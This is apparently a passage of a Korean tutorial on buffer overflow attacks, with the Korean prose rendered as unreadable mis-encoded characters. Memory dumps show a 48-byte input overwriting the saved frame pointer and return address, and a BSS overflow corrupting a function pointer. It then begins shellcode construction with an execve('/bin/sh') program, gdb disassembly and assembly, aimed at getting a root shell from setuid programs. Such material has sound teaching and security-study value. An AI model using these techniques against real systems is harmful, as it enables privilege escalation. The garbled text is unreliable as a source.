À§ÀÇ¿¹Á¦´Â ¿À¹öÇ÷ο찡 ÀϾ´Â ÀüÇüÀûÀÎ ¿¹Á¦ÇÁ·Î±×·¥ ÀÔ´Ï´Ù. CÇÁ·Î±×·¥À» ¸ð¸£´Â ºÐ°ú 2.3Àå¿¡¼­ÀÇ ¼³¸íÀ» º¸ÃæÇϱâ À§ÇÏ¿© ¿¹Á¦1¿¡¼­ ½ºÅÿ¡ µé¾î°¡´Â ³»¿ëµé¿¡ ´ëÇؼ­ ´Ù½ÃÇѹø ¾Ë¾Æ º¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ¸ÕÀú mainÇÔ¼ö¿¡¼­ ÇÁ·Î±×·¥ ½ÇÇà½Ã¿¡ ³Ñ°ÜÁØ "¾ß~~~~~"ÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ³Ö½À´Ï´Ù. ÇÔ¼öfunc°¡ Á¾·áµÈ ´ÙÀ½ÀÇ ½ÇÇàÇÒ À§Ä¡ÀÎ 11¹ø° ÁÙÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ³Ö½À´Ï´Ù. ±×¸®°í °í±ÞÁ¤º¸¿¡¼­ ¹è¿ì½Ã°ÚÁö¸¸ ÇÁ·¹ÀÓÆ÷ÀÎÅͶó°í Çϴ°ÍÀ» ½ºÅÿ¡ ³Ö½À´Ï´Ù. ¿©±â±îÁö ½ÇÇàÇÏ°í ³ª¸é ÇÔ¼öfuncÀÇ ½ÇÇàÁöÁ¡ÀÎ 3¹øÁÙ·Î À̵¿ÇÕ´Ï´Ù. ÇÔ¼öfuncÀÇ ³»ºÎ¿¡¼­ »ç¿ëÇÏ´Â buf¸¦ À§ÇÑ 40°³¹®ÀÚ¸¦ À§ÇÑ ¿µ¿ªÀ» ½ºÅÿ¡ ³Ö½À´Ï´Ù. Áö±Ý±îÁö ½ºÅÿ¡ µé¾î°£ ³»¿ëµéÀ» ±×¸²À¸·Î ´Ù½ÃÇѹø »ìÆ캸¸é ´ÙÀ½°ú °°½À´Ï´Ù.
 ½ºÅÃÀÇ ²À´ë±â   [1234]   ÇÔ¼ö func¿¡¼­ »ç¿ëÇÏ´Â
                 [5678]   buf¸¦ À§Çؼ­ Áý¾î³ÖÀº ½ºÅÃ
                 [....]
                 [..40]
                 [sfp ]   ³ªÁß¿¡ ¼³¸íÇÒ ÇÁ·¡ÀÓ Æ÷ÀÎÅÍ(saved frame pointer)
                 [ret ]   mainÇÔ¼öÀÇ ´ÙÀ½ ½ÇÇàÀ§Ä¡
 ½ºÅÃÀÇ ¹Ù´Ú     [argv]   "¾ß~~~~~"ÀÇ ÁÖ¼Ò

            <±×¸²4> ÇÔ¼öfunc¿¡¼­ ½ºÅÿ¡ µé¾îÀÖ´Â ³»¿ë

ÀÚ ±×·³ Á¤¸»·Î ±×·¸°Ô µÇ´ÂÁö È®ÀÎÇϱâ À§Çؼ­ ÇÁ·Î±×·¥ÀÇ ³»ºÎ¸¦ Çѹø µé¿©´Ù º¼±î¿ä? ´ÙÀ½Àº PLUS¿¡¼­ Á¦°øÇÑ dumpcode¸¦ ÀÌ¿ëÇؼ­ ¿¹Á¦1ÀÇ ½ºÅÃÀ» ´ýÇÁÇÑ ³»¿ëÀÔ´Ï´Ù. Á¶±Ý º¹ÀâÇØ º¸¿©µµ õõÈ÷ »ìÆ캸½Ã±â ¹Ù¶ø´Ï´Ù.
river@river:/example$ ./exam1 "¾ß~~~~~"
0xbffffa68  72 86 04 08 68 fa ff bf 00 01 00 00 30 30 01 40 r...h.......00.@
0xbffffa78  13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40 ...@...@.5.@.8.@
0xbffffa88  70 81 04 08 be df 7e 7e 7e 7e 7e 00 fa 02 0e 40 p.....~~~~~....@
0xbffffa98  64 97 04 08 30 30 01 40 13 08 0e 40 01 00 00 00 d...00.@...@....
0xbffffaa8  ec 02 0e 40 d0 30 01 40 d0 fa ff bf d4 fa ff bf ...@.0.@........
0xbffffab8  a3 86 04 08 51 fc ff bf e0 fa ff bf 68 8e 03 40 ....Q.......h..@
0xbffffac8  78 00 0f 40 00 9e 00 40 f0 fa ff bf 10 fb ff bf x..@...@........
0xbffffad8  42 0a 03 40 02 00 00 00 3c fb ff bf 48 fb ff bf B..@....<...H...
0xbffffae8  ec 86 04 08 3c fb ff bf 10 fb ff bf 09 0a 03 40 ....<..........@
0xbffffaf8  68 2a 01 40 02 00 00 00 90 83 04 08 3c fb ff bf h*.@........<...
0xbffffb08  30 09 03 40 98 f2 0e 40 00 00 00 00 b1 83 04 08 0..@...@........
0xbffffb18  8c 86 04 08 02 00 00 00 3c fb ff bf e4 82 04 08 ........<.......
0xbffffb28  ec 86 04 08 50 a3 00 40 34 fb ff bf 90 30 01 40 ....P..@4....0.@
0xbffffb38  02 00 00 00 49 fc ff bf 51 fc ff bf 00 00 00 00 ....I...Q.......
0xbffffb48  59 fc ff bf 8b fc ff bf 9e fc ff bf a5 fc ff bf Y...............
0xbffffb58  b4 fc ff bf c4 fc ff bf cf fc ff bf 74 fe ff bf ............t...

¾ß~~~~~
Á¤»óÁ¾·á µÇ¾ú½À´Ï´Ù.
river@river:/example$

               <±×¸²5> exam1ÀÇ Á¤»ó½ÇÇà½Ã ½ºÅÃÀÇ ¸ð¾ç

±×¸²5ÀÇ ³»¿ëÀ» »ìÆ캸¸é 0xbffffa8cºÎÅÍ ÇÔ¼öfuncÀÇ ³»ºÎ º¯¼öÀÎ bufÀÇ ¿µ¿ªÀÌ ½ÃÀÛÇÏ´Â °ÍÀ» ¾Ë¼ö ÀÖ½À´Ï´Ù.

0xbffffa88  70 81 04 08 be df 7e 7e 7e 7e 7e 00 fa 02 0e 40 p.....~~~~~....@
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                       ¿©±â¼­ºÎÅÍ bufÀÇ ¿µ¿ªÀÔ´Ï´Ù.
0xbffffad8  42 0a 03 40 02 00 00 00 3c fb ff bf 48 fb ff bf B..@....<...H...
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^
                       ¿©±â±îÁö bufÀÔ´Ï´Ù.     sfpÀÇ ¿µ¿ª
0xbffffae8  ec 86 04 08 3c fb ff bf 10 fb ff bf 09 0a 03 40 ....<..........@
           ^^^^^^^^^^^ ^^^^^^^^^^^
           retÀÇ ¿µ¿ª  argvÀÇ ¿µ¿ª("¾ß~~~~~"ÀÇ ÁÖ¼Ò)


3.2 ½ºÅà ¿À¹öÇ÷ο찡 ÀϾ´Â »óȲ
±×¸²4¿¡ ³ª¿À´Â ½ºÅÃÀÇ ±¸Á¶¸¦ »ìÆ캸¸é¼­ À§ÀÌ ³»¿ëÀ» »ìÆ캸¸é 0xbffffae8¿¡ mainÇÔ¼öÀÇ ´ÙÀ½ ½ÇÇàÀ§Ä¡°¡ µé¾î Àִٴ°ÍÀ» ¾Ë ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. Áï ÇÔ¼öfuncÀÇ ½ÇÇàÀ» ¸¶Ä¡°í ³ª¼­ ´ÙÀ½ ½ÇÇàÇÒ À§Ä¡´Â 0x080486ec¶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. (Á¦°¡ »ç¿ëÇÏ´Â ±â°è´Â Intel CPU¸¦ »ç¿ëÇÏ´Â ÀÏ¹Ý PCÀÔ´Ï´Ù. µû¶ó¼­ 4¹ÙÀÌÆ®ÀÇ Æ÷ÀÎÅÍ°¡ ¸Þ¸ð¸®¿¡ ÀúÀåµÉ ¶§¿¡ ¿ª¼øÀ¸·Î ÀúÀåµË´Ï´Ù.) ±×·³ ÀϺη¯ ÀÔ·ÂÇÏ´Â ÀÚ·áÀÇ ±æÀ̸¦ 48¹ÙÀÌÆ®·Î ÇÏ¸é ¾î¶² »óȲÀÌ ¹ú¾îÁú±î¿ä? Çѹø Çغ¾½Ã´Ù. (±Ã±ÝÇÏ¸é ¸øÂü¾Æ~~~)
river@river:/example$ ./exam1 "123456789012345678901234567890123456789012345678"
0xbffffa38  72 86 04 08 38 fa ff bf 00 01 00 00 30 30 01 40 r...8.......00.@
0xbffffa48  13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40 ...@...@.5.@.8.@
0xbffffa58  70 81 04 08 31 32 33 34 35 36 37 38 39 30 31 32 p...123456789012
0xbffffa68  33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 3456789012345678
0xbffffa78  39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 9012345678901234
0xbffffa88  35 36 37 38 00 fc ff bf b0 fa ff bf 68 8e 03 40 5678........h..@
0xbffffa98  78 00 0f 40 00 9e 00 40 c0 fa ff bf e0 fa ff bf x..@...@........
0xbffffaa8  42 0a 03 40 02 00 00 00 0c fb ff bf 18 fb ff bf B..@............
0xbffffab8  ec 86 04 08 0c fb ff bf e0 fa ff bf 09 0a 03 40 ...............@
0xbffffac8  68 2a 01 40 02 00 00 00 90 83 04 08 0c fb ff bf h*.@............
0xbffffad8  30 09 03 40 98 f2 0e 40 00 00 00 00 b1 83 04 08 0..@...@........
0xbffffae8  8c 86 04 08 02 00 00 00 0c fb ff bf e4 82 04 08 ................
0xbffffaf8  ec 86 04 08 50 a3 00 40 04 fb ff bf 90 30 01 40 ....P..@.....0.@
0xbffffb08  02 00 00 00 20 fc ff bf 28 fc ff bf 00 00 00 00 ....  ...(.......
0xbffffb18  59 fc ff bf 8b fc ff bf 9e fc ff bf a5 fc ff bf Y...............
0xbffffb28  b4 fc ff bf c4 fc ff bf cf fc ff bf 74 fe ff bf ............t...

123456789012345678901234567890123456789012345678
¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù
river@river:/example$

         <±×¸²6> 48¹ÙÀÌÆ®ÀÇ ÀڷḦ ÀÔ·ÂÇÏ¿© ¿À¹öÇ÷ο츦 ÀÏÀ¸Ä×´Ù.

Ãâ·ÂµÇ´Â ³»¿ëÀÌ ´Ù¸£ÁÒ? ¿ì¼± ½ÇÇà °á°úºÎÅÍ ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù(segmantation violation)À¸·Î ³ªÅ¸³³´Ï´Ù. 2ÀåÀÇ ³»¿ëÀÌ ±â¾ï³³´Ï±î?..^^ À§ÀÇ ´ýÇÁ³»¿ëÀ» °¡Áö°í ´Ù½ÃÇѹø ºÐ¼®ÇØ º¾½Ã´Ù. À̹ø¿¡ bufÀÇ À§Ä¡´Â 0xbffffa5b¿¡¼­ ºÎÅÍ ½ÃÀÛÇÕ´Ï´Ù.(Á¦°¡ Áß°£¿¡ ÇÁ·Î±×·¥À» Çѹø´Ù½Ã ÄÄÆÄÀÏ Çß±¸¿ä. ÀÔ·ÂÇÏ´Â ³»¿ë¿¡ µû¶ó ¾à°£¾¿ ½ºÅÃÀÇ ³»¿ëÀº ´Þ¶óÁø´ä´Ï´Ù.)
0xbffffa58  70 81 04 08 31 32 33 34 35 36 37 38 39 30 31 32 p...123456789012
                       ^^ bufÀÇ ½ÃÀÛ
0xbffffa78  39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 9012345678901234
                                               ^^^^^^^^^^^
                                               sfpÀÇ ³»¿ë
0xbffffa88  35 36 37 38 00 fc ff bf b0 fa ff bf 68 8e 03 40 5678........h..@
           ^^^^^^^^^^^ ^^^^^^^^^^^
           retÀÇ ³»¿ë argvÀÇ ÁÖ¼Ò
0xbffffa98  78 00 0f 40 00 9e 00 40 c0 fa ff bf e0 fa ff bf x..@...@........

À§ÀÇ ³»¿ëÀ» »ìÆ캸¸é sfpÀÇ ³»¿ë°ú retÀÇ ³»¿ëÀÌ °¢°¢ "31 32 33 34"¿Í "35 36 37 38"·Î º¯°æµÇ¾î ÀÖ´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ¿ø·¡ÀÇ °ªÀº "xx xx ff bf" ¿Í "xx xx 04 08"Á¤µµ·Î µÇ¾î ÀÖ¾î¾ß Çϴµ¥ ÀÔ·ÂÇÑ °ªÀÌ ³ÑóÈê·¯¼­ À§¿Í °°ÀÌ µÈ°ÍÀÔ´Ï´Ù. ±×·³ ÇÔ¼öfunc°¡ Á¾·á ÇÏ°í ´ÙÀ½¿¡ ½ÇÇàÇÒ À§Ä¡´Â ¾Æ¸¶µµ 0x38373635°¡ µÉ°Í ÀÔ´Ï´Ù. ÀüÇô ¾û¶×ÇÑ ÁÖ¼Ò°¡ µÇ¾ú½À´Ï´Ù. µû¶ó¼­ ÇÁ·Î±×·¥Àº Á¤»óÀûÀÎ ½ÇÇàÀ» ÇÏÁö ¸øÇÏ°í ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù¸¦ º¸¿©ÁÖ´Â °ÍÀÔ´Ï´Ù.

3.3 Èü¿À¹öÇ÷ο찡 ÀϾ´Â »óȲ
´ÙÀ½¿¡´Â Èü¿À¹öÇ÷ο찡 ÀϾ´Â »óȲ¿¡ ´ëÇÏ¿© ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.
void func()
{
       printf("Á¾·áÇÕ´Ï´Ù.\n");
}

int main(int argc, char **argv)
{

       static char buf[8];
       static void (*call)();

       printf("[%x]\n", buf);
       call = (void (*)())func;
       strcpy(buf, argv[1]);
       dumpcode( (char *)0x804983c, 256);
       call();
}

       <¿¹Á¦2> Èü¿À¹öÇ÷οìÀÇ ¿¹Á¦

À§ÀÇ ÇÁ·Î±×·¥Àº Èû¿À¹öÇ÷οìÀÇ ¿¹Á¦ÀÔ´Ï´Ù. CÇÁ·Î±×·¥À» Àо½Ç ¼ö ÀÖ´Â ºÐµéÀº ¾Æ½Ã°ÚÁö¸¸, ½ÃÇèÀ» À§ÇÏ¿© bufÀÇ ÁÖ¼Ò¸¦ ÀμâÇÏ°í ÀÖ°í, Á¦ ±â°è¿¡¼­ÀÇ ½ÇÇà »óȲÀ» º¸¿©µå¸®±â À§ÇØ dumpcode¶ó´Â ÇÔ¼ö¸¦ ÀÌ¿ëÇؼ­ ÈüÀÇ ³»¿ëÀ» º¸¿©ÁÖ°í ÀÖ½À´Ï´Ù. À§ÀÇ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ÇÏ°í ½ÇÇàÇÑ °á°ú´Â ´ÙÀ½°ú °°½À´Ï´Ù.
river@river:/example$ ./exam2 test
[804983c]
0x0804983c  74 65 73 74 00 00 00 00 44 86 04 08 00 00 00 00 test....D.......
0x0804984c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804985c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804986c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Á¾·áÇÕ´Ï´Ù.
river@river:/example$

        <±×¸²7> Èü¿À¹öÇ÷οì ÇÁ·Î±×·¥ÀÇ Á¤»óÀûÀÎ ½ÇÇà½Ã ÈüÀÇ ±¸Á¶

À§ÀÇ ³»¿ëÀ» º¸½Ã¸é 0x0804983c¿¡¼­ºÎÅÍ buf°¡ 8¹ÙÀÌÆ®¸¦ Â÷ÁöÇÏ°í ÀÖ°í ÇÔ¼öÆ÷ÀÎÅÍÀÎ callÀÌ ±×´ÙÀ½¿¡ 4¹ÙÀÌÆ®¸¦ Â÷ÁöÇÏ°í Àִ°ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÀÌÁ¦ 9¹ÙÀÌÆ®ÀÇ ÀڷḦ exam2¿¡ ÀÔ·ÂÇغ¸µµ·Ï ÇսôÙ.
river@river:/example$ ./exam2 123456789
[804983c]
0x0804983c  31 32 33 34 35 36 37 38 39 00 04 08 00 00 00 00 123456789.......
0x0804984c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804985c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0804986c  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù
river@river:/example$
       
        <±×¸²8> Èü¿À¹öÇ÷οì ÇÁ·Î±×·¥ÀÇ ºñÁ¤»óÀûÀÎ ½ÇÇà½Ã ÈüÀÇ ±¸Á¶

¿ª½Ã »ý°¢´ë·Î ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù°¡ ¹ß»ýÇϴ±º¿ä...^^ ÀÌÁ¦ ¿©·¯ºÐÀº ¿Ö ÀÌ·± Çö»óÀÌ ÀϾ´ÂÁö ÁüÀÛÀ» ÇϽǼö ÀÖÀ¸½Ç °Ì´Ï´Ù. ¿¹Á¦2¹ø ÇÁ·Î±×·¥Àº BSS¿µ¿ª¿¡ ÇÒ´çµÇ´Â buf¿Í callÀ̶ó´Â º¯¼ö¸¦ °¡Áö°í ÀÖ°í callÀ̶ó´Â º¯¼ö´Â ÇÔ¼ö¸¦ ½ÇÇàÇϱâ À§Çؼ­ »ç¿ëÇÏ´Â ÇÔ¼ö Æ÷ÀÎÅÍ ÀÔ´Ï´Ù. ±×·±µ¥ callÀÇ ³»¿ëÀ» ÀÌ»óÇÑ °ª(¿©±â¼­´Â 0x08048644¿¡¼­ 0x08040039¶ó´Â °ª)À¸·Î º¯°æÇعö¸®´Ï±î ´ç¿¬È÷ ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù¶ó´Â°ÍÀÌ ³ªÅ¸³ª´Â °ÍÀÔ´Ï´Ù.
¿©·¯ºÐÀº Áö±Ý±îÁö ¿À¹öÇ÷ο찡 ÀϾ´Â »óȲ¿¡ ´ëÇÏ¿© °øºÎÇÏ¿´½À´Ï´Ù. ½ÇÁ¦·Î ÇØÅ·(?)À» Çϱâ À§Çؼ­´Â ´Ù¸¥ ³»¿ë¿¡ ´ëÇؼ­µµ Á»´õ ¾Ë°í °è¼Å¾ß ÇÕ´Ï´Ù. ´ÙÀ½Àå¿¡¼­ À§¿¡¼­ °øºÎÇÑ °ÍÀ» ÀÌ¿ëÇؼ­ ¿À¹öÇ÷ο츦 ÀÏÀ¸Å°°í ¿ì¸®°¡ ¿øÇÏ´Â ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â °Í¿¡ ´ëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇսôÙ.



--------------------------------------------------------------------------------

4. À̰ͱîÁö?........°í±ÞÁ¤º¸
´ÙÀ½Àº ½ÇÁ¦ ÇØÅ·À» À§Çؼ­ »ç¿ëµÇ´Â ½©ÄÚµå¿Í ÀÌ°ÍÀ» ÀÌ¿ëÇؼ­ ½©À» ½ÇÇàÇÏ´Â °Í¿¡ ´ëÇÏ¿© ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ½©Äڵ带 ÀÌÇØÇϱâ À§Çؼ­´Â ¾à°£ÀÇ ¾î¼Àºí¸®ÇÁ·Î±×·¥ÀÇ Áö½ÄÀÌ ÇÊ¿äÇÕ´Ï´Ù. ¾î·Æ´õ¶óµµ ÀÚ¼¼È÷ Àо°í ³Ñ¾î°¡½Ã±â ¹Ù¶ø´Ï´Ù.

4.1 ½©ÄÚµå
½©Àº À¯´Ð½º°è¿­ÀÇ ÄÄÇ»ÅÍ¿¡¼­ »ç¿ëÇÏ´Â ¸í·É󸮱â ÀÔ´Ï´Ù. w1nd0wsÀÇ DOSâÀ» »ý°¢ÇÏ¸é ½¬¿ï°Í °°½À´Ï´Ù. ÇØÄ¿µéÀÌ ¿À¹öÇ÷ο츦 ÀÌ¿ëÇÑ °ø°Ý¿¡¼­ ½©À» »ç¿ëÇÏ´Â ÀÌÀ¯´Â root setuid ÇÁ·Î±×·¥À» ¿À¹öÇ÷ο츦 ½ÃÄѼ­ ½©À» ½ÇÇàÇÏ°Ô µÇ¸é rootÀÇ ±ÇÇÑ À¸·Î ¸ðµç ¸í·É¾î µéÀ» ½ÇÇàÇÒ ¼ö Àֱ⠶§¹®ÀÔ´Ï´Ù. ¿ì¼± ¿À¹öÇ÷ο츦 ½ÃÅ°´Â ÇÁ·Î±×·¥¿¡¼­ ½©À» ½ÇÇàÇÏ´Â ¹æ¹ý¿¡ ´ëÇÏ¿© »ý°¢ Çغ¸µµ·Ï ÇսôÙ.
   +----------+                     +----------+
   | °ø°Ý´ë»ó |     ¿À¹öÇÃ·Î¿ì      |          |
   |          |  ---------------->  |    ½©    | ---------> ¶Ç´Ù¸¥ ¸í·É
   | ÇÁ·Î±×·¥ |                     |          |
   +----------+                     +----------+

                    <±×¸²9> ¿À¹öÇ÷ο쿡ÀÇÇÑ ½©ÀÇ ½ÇÇà°úÁ¤

±×¸²9´Â ¿À¹öÇ÷ο츦 ÀÌ¿ëÇؼ­ ½©À» ½ÇÇàÇÏ°í ½©¿¡¼­ ¶Ç´Ù¸¥ ¸í·É¾î³ª ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â ¿¹¸¦ ±×¸²À¸·Î ³ªÅ¸³½°Í ÀÔ´Ï´Ù. °ø°Ý´ë»ó ÇÁ·Î±×·¥ÀÌ ¾î¶»°Ô ÇÏ¸é ½©À» ½ÇÇàÇÒ ¼ö ÀÖÀ» ±î¿ä? ±×°ÍÀº CÇÁ·Î±×·¥À» ÀÛ¼ºÇغ¸¸é ¾Ë ¼ö ÀÖ½À´Ï´Ù. ´ëºÎºÐÀÇ CÇÁ·Î±×·¥¿¡´Â execl, execlp, execle, execv, execvpµîÀÇ ÇÁ·Î±×·¥È­ÀÏÀ» ½ÇÇàÇÏ´Â ÇÔ¼öµéÀÌ ÀÖ½À´Ï´Ù. ¿À¹öÇÃ·Î¿ì °ø°Ý½Ã¿¡´Â ¿À¹öÇ÷ο츦 ½ÃÅ°´Â ¹öÆÛ¿¡ À§ÀÇ ÇÔ¼öÁß Çϳª¸¦ Æ÷ÇÔÇÏ´Â ¸í·É¾îµéÀ» Áý¾î³Ö°í ÇÔ¼ö°¡ Á¾·áÇÏ°í ¸®ÅÏÇÏ´Â ÁÖ¼Ò¿¡ ¿©·¯ºÐÀÌ Áý¾î ³ÖÀº execve°°Àº ¸í·ÉÀÌ Àִ°÷À¸·Î ¸®ÅÏÇϵµ·Ï ¸¸µëÀ¸·Î½á ½©À» ¾òÀ» ¼ö ÀÖ´Â °ÍÀÔ´Ï´Ù. µû¶ó¼­ ¿©·¯ºÐÀº °ø°Ý´ë»óÇÁ·Î±×·¥À» °ø°ÝÇϱâ À§Çؼ­ ½©À» ½ÇÇàÇÏ´Â ¸í·É¾î¸¦ Áý¾î³Ö¾î¾ß ÇÏ´Â °ÍÀÔ´Ï´Ù. ±×·³ ½©À» ½ÇÇàÇÏ´Â ¸í·É¾î´Â ¾î¶² °úÁ¤À» °ÅÃļ­ ¸¸µé¾î Áú±î¿ä?
4.1.1 MainÇÔ¼öÀÇ µ¿ÀÛ°úÁ¤
½©Äڵ带 ¸¸µé±â À§Çؼ­ CÇÁ·Î±×·¥¿¡¼­ ¾î¶»°Ô execve¸¦ ½ÇÇàÇÏ´ÂÁö ¾Ë¾Æ º¾½Ã´Ù.
#include <stdio.h>
#include <unistd.h>

int main()
{
       char *name[2];

       name[0] = "/bin/sh";
       name[1] = 0;

       execve(name[0], name, NULL);

}

       <¿¹Á¦3> ½©À» ½ÇÇàÇÏ´Â CÇÁ·Î±×·¥

À§ÀÇ ÇÁ·Î±×·¥Àº ½©À» ½ÇÇàÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ¸ÕÀú À§ÀÇ ÇÁ·Î±×·¥À» ´ÙÀ½°ú °°ÀÌ ÄÄÆÄÀÏÇÏ°í ½ÇÇàÇØ º¾½Ã´Ù.
river@river:/example$ cc mkshell.c -static -o mkshell
river@river:/example$ ./mkshell
sh-2.03$

¿ì¸®°¡ ¿øÇÏ´Â ´ë·Î ½©À» ½ÇÇà½ÃÅ°°í ÀÖ½À´Ï´Ù. ÁÖÀÇÇÒ »çÇ×Àº ÄÄÆÄÀÏ ÇÒ ¶§¿¡ ¹Ýµå½Ã "-static"À» ÁÖ°í¼­ ÄÄÆÄÀÏ ÇϽʽÿä. ±×·¸Áö ¾ÊÀ¸¸é execveÇÔ¼öÀÇ ½ÇÇà°úÁ¤À» ¾Ë ¼ö°¡ ¾ø½À´Ï´Ù. ´ÙÀ½¿¡´Â ÇÁ·Î±×·¥ÀÇ È帧À» Àо¼ö ÀÖ´Â µð¹ö°ÅÀÎ gdb¸¦ ½ÇÇàÇÏ°í mainÇÔ¼öÀÇ ±¸Á¶°¡ ¾î¶»°Ô µÇ¾î ÀÖ´ÂÁö »ìÆ캾´Ï´Ù.
sskuk@sskuk:~/public_html/hack/overflow/example$ gdb mkshell
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80481b4 :       push   %ebp
0x80481b5 :     mov    %esp,%ebp
0x80481b7 :     sub    $0x18,%esp
0x80481ba :     movl   $0x806e368,0xfffffff8(%ebp)
0x80481c1 :    movl   $0x0,0xfffffffc(%ebp)
0x80481c8 :    add    $0xfffffffc,%esp
0x80481cb :    push   $0x0
0x80481cd :    lea    0xfffffff8(%ebp),%eax
0x80481d0 :    push   %eax
0x80481d1 :    mov    0xfffffff8(%ebp),%eax
0x80481d4 :    push   %eax
0x80481d5 :    call   0x804c90c
0x80481da :    add    $0x10,%esp
0x80481dd :    leave  
0x80481de :    ret    
0x80481df :    nop    
End of assembler dump.
(gdb)

       <±×¸²10> gdbÀÇ ½ÇÇà°ú ¸ÞÀÎÇÔ¼öÀÇ ±¸Á¶

Á¶±Ý º¹ÀâÇÑ ³»¿ëÀÌ ³ª¿ÔÁÒ? º¹ÀâÇÏÁö¸¸ ÇϳªÇϳª ºÐ¼®ÇØ º¸µµ·Ï ÇսôÙ. CÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇϸé CPU°¡ ÀÌÇØÇÏ´Â ±â°è¾î·Î ¹ø¿ªÀÌ µË´Ï´Ù. ±â°è¾î·Î ¹ø¿ªÀÌ µÈ°ÍÀ» ±×³ª¸¶ »ç¶÷ÀÌ Àо¼ö ÀÖµµ·Ï ¾î¼Àºí¸®¾î·Î º¸¿©ÁÖ´Â ¸í·É¾î°¡ gdb¿¡¼­ disassembleÀÔ´Ï´Ù. À§ÀÇ ¿¹´Â mainÇÔ¼öÀÇ ³»¿ëÀ» ¾î¼Àºí·¯·Î ³ªÅ¸³½ »óȲÀÔ´Ï´Ù. ¶ÇÇÑ À§ÀÇ ³»¿ëÀº ´ÙÀ½°ú °°ÀÌ ÄÄÆÄÀÏÇÏ¸é ¸ÞÀÎÇÔ¼öÀÇ ¾î¼Àºí¸®¾î Äڵ带 ȹµæÇÒ ¼ö ÀÖ½À´Ï´Ù.
river@river:/example$ cc -S mkshell.c -o mkshell.s
river@river:/example$ cat mkshell.s
       .file   "mkshell.c"
       .version        "01.01"
gcc2_compiled.:
.section        .rodata
.LC0:
       .string "/bin/sh"
.text
       .align 4
.globl main
       .type    main,@function
main:
       pushl %ebp
       movl %esp,%ebp
       subl $24,%esp
       movl $.LC0,-8(%ebp)
       movl $0,-4(%ebp)
       addl $-4,%esp
       pushl $0
       leal -8(%ebp),%eax
       pushl %eax
       movl -8(%ebp),%eax
       pushl %eax
       call execve
       addl $16,%esp
.L2:
       leave
       ret
.Lfe1:
       .size    main,.Lfe1-main
       .ident  "GCC: (GNU) 2.95.2 20000220 (Debian GNU/Linux)"
river@river:/example$

       <¿¹Á¦4> ¾î¼Àºí¸®¾î ÄÚµå»ý¼º

ÀÌÁ¦ Á» ÀбⰡ ÆíÇØ Á³ÁÒ?..^^
À§ÀÇ ¾î¼Àºí·¯(AT&T ¾î¼Àºí·¯ÀÇ ¹®¹ýÀÔ´Ï´Ù.)´Â ¿©·¯ºÐÀÌ »ý¼ÒÇÏ´Ù°í »ý°¢ÇÏ°í ÇÑ°¡Áö¸¦ ¸»¾¸µå¸®¸é ´ÙÀ½°ú °°Àº ¸í·É¾îÀÇ ÇüŸ¦ °¡Áö°í ÀÖ½À´Ï´Ù.

¸í·É¾î Àμö1, Àμö2
